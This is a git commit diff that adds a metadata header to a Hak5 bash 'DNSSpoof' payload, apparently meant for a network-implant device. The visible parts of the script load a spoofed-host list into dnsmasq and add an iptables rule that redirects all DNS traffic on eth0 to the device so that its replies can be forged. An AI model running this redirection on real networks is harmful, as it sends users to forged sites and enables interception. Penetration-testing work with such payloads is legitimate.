Added metadata to existing payloads (#1)

This commit is contained in:
Martin Sundhaug
2017-10-27 03:49:49 +02:00
committed by Sebastian Kinne
parent 487ab7dc5f
commit b6ab3cc61f
6 changed files with 54 additions and 5 deletions

View File

@@ -1,5 +1,12 @@
#!/bin/bash
# DNSSpoof payload
#
# Title: DNSSpoof
# Description: Forge replies to arbitrary DNS queries using DNSMasq
# Author: Hak5
# Version: 1.0
# Category: interception
# Target: Any
# Net Mode: NAT
function setup() {
@@ -14,7 +21,7 @@ function setup() {
cp $(dirname ${BASH_SOURCE[0]})/spoofhost /tmp/dnsmasq.address &> /dev/null
# Restart dnsmasq with the new configuration
/etc/init.d/dnsmasq restart
/etc/init.d/dnsmasq restart
}
function run() {
@@ -22,7 +29,7 @@ function run() {
LED ATTACK
# Redirect all DNS traffic to ourselves
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
iptables -A PREROUTING -t nat -i eth0 -p udp --dport 53 -j REDIRECT --to-port 53
}
setup